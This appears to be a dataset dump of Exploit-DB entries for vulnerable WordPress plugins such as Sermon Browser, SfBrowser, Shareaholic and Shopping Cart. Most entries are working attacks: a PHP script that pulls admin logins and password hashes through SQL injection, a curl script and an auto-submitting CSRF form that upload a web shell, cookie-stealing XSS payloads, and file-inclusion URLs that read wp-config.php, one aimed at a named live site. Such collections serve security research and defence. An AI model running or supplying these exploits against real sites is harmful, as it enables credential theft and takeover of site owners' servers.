deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35657
Description: WordPress Plugin Sermon Browser 0.43 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-04-26
Author: Ma3sTr0-Dz

Exploit:
source: https://www.securityfocus.com/bid/47574/info

The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sermon Browser 0.43 is vulnerable; other versions may also be affected. 

<?php
 
if(!$argv[1])
die("
 
Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/
 
");
print_r("
 
# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz
 
                      -==[ ExPloiT ]==-
                       
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
 
                       -==[ Start ]==-
 
");
 
$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
 
function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}
 
foreach($t as $r=>$y){
 
$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
 
preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
 
echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";
 
}
 
print_r("
                      -==[ Finished ]==-
");
 
# By Lagripe-Dz .. !
# END .. !
 
?>
Exploit-DB #17214
Description: WordPress Plugin SermonBrowser 0.43 - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-26
Author: Ma3sTr0-Dz

Exploit:
<?php

if(!$argv[1])
die("

Usage   : php exploit.php [site]
Example : php exploit.php http://site.com/wp/

");
print_r("

# Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
# Author.....: [ Ma3sTr0-Dz ]
# Date.......: [ 25-o4-2o11 ]
# Location ..: [ ALGERIA ]
# HoMe ......: [ wWw.sEc4EvEr.CoM ]
# Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
# Gr33tz ....: [ All Sec4ever Member'z ]
# Real Bug Founder : Lagripe-Dz

                      -==[ ExPloiT ]==-
					  
# SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
# XSS     : http://site/wp/?download&file_name=<script>alert(0)</script>
# FPD     : http://site/wp/wp-content/plugins/sermon-browser/sermon.php

                       -==[ Start ]==-

");

$t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");

function text2hex($string) {
 $hex = '';
 $len = strlen($string) ;
 for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
 }
 return $hex;
}

foreach($t as $r=>$y){

$x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");

preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);

echo $u = ($dz[1][0]) ? "[-] $r  : ".$dz[1][0]."\n" : "[-] $r  : Failed !\n";

}

print_r("
                      -==[ Finished ]==-
");

# By Lagripe-Dz .. !
# END .. !

?>
Exploit-DB #43475
Description: WordPress Plugin Service Finder Booking < 3.2 - Local File Disclosure
Type: webapps
Platform: php
Date: 2018-01-10
Author: telahdihapus

Exploit:
# Exploit Title: Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure
# Google Dork: N/A
# Date: 09/01/2018 (GMT+7)
# Exploit Author: telahdihapus
# Vendor Homepage: https://themeforest.net/user/aonetheme
# Software Link: https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793
# Tested on: windows 10

1. description :
unauthenticated user can access downloads.php, and can disclosure file in server through downloads.php, using method get on 'file=', user/attacker also can disclosure wp-config, or else file

2. POC :
http://victim.com/wp-content/plugins/sf-booking/lib/downloads.php?file=/index.php

3. timeline
- jan 1, 2018 report vendor
- jan 1, 2018 vendor send email
- jan 1, 2018 send poc
- jan 2, 2018 vendor contact team
- jan 8, 2018 vendor send email about fixed issue

4. solution :
update to version 3.2
Exploit-DB #37837
Description: WordPress Plugin Sexy Add Template - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-09-22
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/55666/info

The Sexy Add Template plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.

Sexy Add Template 1.0 is vulnerable; other versions may also be affected. 

#################################################################################
 #
 # [ Information Details ]
 # - Wordpress Plugin Sexy Add Template:
 # Attacker allow CSRF Upload Shell.
 # http://localhost/wp-admin/themes.php?page=AM-sexy-handle <--- Vuln CSRF, not require verification CODE "wpnonce".
 #
 # <html>
 # <head>
 # <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 # <title>Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability</title>
 # </head>
 # <body onload="document.form0.submit();">
 # <form method="POST" name="form0" action="http://localhost/wp-admin/themes.php?page=AM-sexy-handle" method="post" enctype="multipart/form-data" >
 # <input type="hidden" name="newfile" value="yes" /> 
 # <input type="hidden" type="text" value="shell.php" name="AM_filename">
 # <textarea type="hidden" name="AM_file_content">
 # [ Your Script Backdoor/Shell ]
 # &lt;/textarea&gt;
 # </form>
 # </body>
 # </html>
 #
 # - Access Shell:
 # http://www.example.com/wp-content/themes/[theme-name]/shell.php <--- HACKED...!!!
 #
 # +#################################################################################
Exploit-DB #19054
Description: WordPress Plugin SfBrowser 1.4.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress SfBrowser Version 1.4.5 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/sfbrowser/connectors/php/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://www.sjeiti.com/
# Software Link: http://downloads.wordpress.org/plugin/sfbrowser.zip
# Version: 1.4.5
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.ptxt";
$c = curl_init("http://127.0.0.1/wp/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('fileToUpload'=>"@$u",
'a'=>"upload",
'file'=>"",
'deny'=>"lam",
'allow'=>"ptxt|exe|sh",
'resize'=>array(0,0)));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

shell Access : http://mysite.com/wp-content/plugins/sfbrowser/shell.ptxt

#####################################################################
Exploit-DB #17748
Description: WordPress Plugin SH Slideshow 3.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-29
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip
# Version: 3.1.4 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/sh-slideshow/ajax.php
 id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$result = $wpdb->query('delete from sh_slides where id = '.$_POST['id']);
Exploit-DB #37202
Description: WordPress Plugin Share and Follow 1.80.3 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53533/info

The Share and Follow plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Share and Follow 1.80.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=share-and-follow-menu
CDN API Key content: &quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #36674
Description: WordPress Plugin Shareaholic 7.6.0.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-04-08
Author: Kacper Szurek

Exploit:
# Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps

1. Description

ShareaholicAdmin::add_location is accessible for every registered user.

File: shareaholic\shareaholic.php

add_action('wp_ajax_shareaholic_add_location',  array('ShareaholicAdmin', 'add_location'));


$_POST['location'] is not escaped.

File: shareaholic\admin.php

public static function add_location() {
	$location = $_POST['location'];
	$app_name = $location['app_name'];
	ShareaholicUtilities::update_options(array(
	  'location_name_ids' => array(
	    $app_name => array(
	      $location['name'] => $location['id']
	    ),
	  ),
	  $app_name => array(
	    $location['name'] => 'on'
	  )
	));

	echo json_encode(array(
	  'status' => "successfully created a new {$location['app_name']} location",
	  'id' => $location['id']
	));

	die();
}

http://security.szurek.pl/shareaholic-7603-xss.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="shareaholic_add_location">
    <input type="hidden" name="location[app_name]" value="recommendations">
    <input type="hidden" name="location[name]" value="post_below_content">
    XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
    <input type="submit" value="Hack!">
</form>

XSS will be visible for admin:

http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
  
3. Solution:
  
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/
Exploit-DB #37201
Description: WordPress Plugin Sharebar 1.2.1 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53532/info

Sharebar plugin for WordPress is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sharebar 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/options-general.php?page=Sharebar&amp;t=edit&amp;id=1 AND 1=0 UNION SELECT 1,2,3,4,user_pass,6 FROM wp_users WHERE ID=1

http://www.example.com/wp-content/plugins/sharebar/sharebar-admin.php?status=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #31096
Description: WordPress Plugin ShiftThis NewsLetter - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-03
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27586/info

The ShiftThis Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users
Exploit-DB #37934
Description: WordPress Plugin Shopp - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-05
Author: T0x!c

Exploit:
source: https://www.securityfocus.com/bid/55817/info

The Shopp plugin for WordPress is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attackers can exploit these issues to disclose sensitive information, steal cookie information, execute arbitrary client side script code in the context of browser, upload and execute arbitrary files in the context of the web server, and launch other attacks.

Shopp 1.0.17 is vulnerable; other versions may also be affected.

http://www.example.com/Shopp_v1.0.17/core/ui/behaviors/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xSS");//
http://www.example.com/Shopp_v1.0.17/core/ui/behaviors/swfupload/swfupload.swf
http://www.example.com/Shopp_v1.0.17/core/model/schema.sql
Exploit-DB #35730
Description: WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-01-08
Author: Kacper Szurek

Exploit:
<!--
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 29-10-2014
# Software Link: https://wordpress.org/plugins/wp-easycart/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9308
# Category: webapps

1. Description
  
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php

http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html

  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):
-->

<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="datemd5" value="1">
    <input type="file" name="Filedata">
    <input value="Upload!" type="submit">
</form>

<!--
File will be visible:

http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
  
3. Solution:
  
Update to version 3.0.9
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip
-->
Exploit-DB #38159
Description: WordPress Plugin Shopping Cart for WordPress - '/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-01
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/57101/info
 
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1
Exploit-DB #38160
Description: WordPress Plugin Shopping Cart for WordPress - '/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-01
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/57101/info
  
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID=1' or 1='1
Exploit-DB #38158
Description: WordPress Plugin Shopping Cart for WordPress - '/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php? reqID' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-01
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/57101/info

The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1
Exploit-DB #34436
Description: WordPress Plugin ShortCode 0.2.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-08-28
Author: Mehdi Karout & Christian Galeone

Exploit:
#################################################################################################
#
# Title                : WordPress ShortCode Plugin - Local File Inclusion Vulnerability
# Severity             : High+/Critical
# Reporter(s)          : Mehdi Karout & Christian Galeone
# Google Dork          : inurl:wp/wp-content/force-download.php
# Plugin Version       : 0.2.3
# Plugin Name          : Download ShortCode
# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip
# Vendor Home          : http://werdswords.com/
# Date                 : 25/08/2014
# Tested in            : Win7 - Kali Linux
# CVE                  : CVE-2014-5465
#
##################################################################################################
#
# PoC :
#
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File]
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php
#
# Exploit Code :
#
#    $file = $_GET['file'];
#  if(isset($file))
#  {
#      include("pages/$file");
#  }
#  else
#  {
#      include("index.php");
#  }
# 
# Demo :
#
# http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php
#
##################################################################################################
Exploit-DB #39384
Description: WordPress Plugin Simple Add Pages or Posts 1.6 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-01-29
Author: ALIREZA_PROMIS

Exploit:
########################################################################
# Exploit Title: Wordpress simple add pages or posts CSRF Vulnerability
# Date: 2016/29/01
# Exploit Author: ALIREZA_PROMIS
# Vendor Homepage: https://wordpress.org/plugins/simple-add-pages-or-posts/
# Software Link: https://downloads.wordpress.org/plugin/simple-add-pages-or-posts.1.6.zip
# Version: 1.6
# Tested on: ubuntu / FireFox
########################################################################

[Exploitation]
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

[HTML CODE ]
<form id="form1" name="form1" method="post" action="http://site.com/wp-admin/plugins.php?page=simple-add-pages-or-posts%2Fsimple_add_pages_or_posts.php"
<select name="postorpage">
<option value="page">Page</option>
<option value="post">Post</option>
</select>
<td colspan="2"><select name='post_parent' id='post_parent'>
<option value="">No, do not use parent</option>
<option class="level-0" value="2">Sample Page</option>
</select>
<tr class="alternate iedit">
<textarea name="titles" rows="1" cols="30">&lt;/textarea&gt;
<tr class="iedit">
<td colspan="2"><select name="author_id">
<option value="1">admin</option></select>
<input type="submit" name="submitbutton" value="Add" class="button-primary"></form>



and live POST request :
postorpage=page&post_parent=2&titles=TEST_CSRF&author_id=1&submitbutton=Add


########################################################################
# Friends : ali ahmady , Mr.Moein , sheytan azzam , Mr.PERSIA , H3llBoy.Blackhat , Amir , Jok3r
# Sajjad Sotoudeh , security  , Kamran Helish , Dr.RooT , Milad Inj3ctor , Mr.Turk
#
# [+] fb.com/alirezapomis.blackhat
########################################################################
Exploit-DB #36615
Description: WordPress Plugin Simple Ads Manager - Information Disclosure
Type: webapps
Platform: php
Date: 2015-04-02
Author: ITAS Team

Exploit:
#Vulnerability title: Wordpress plugin Simple Ads Manager - Information Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en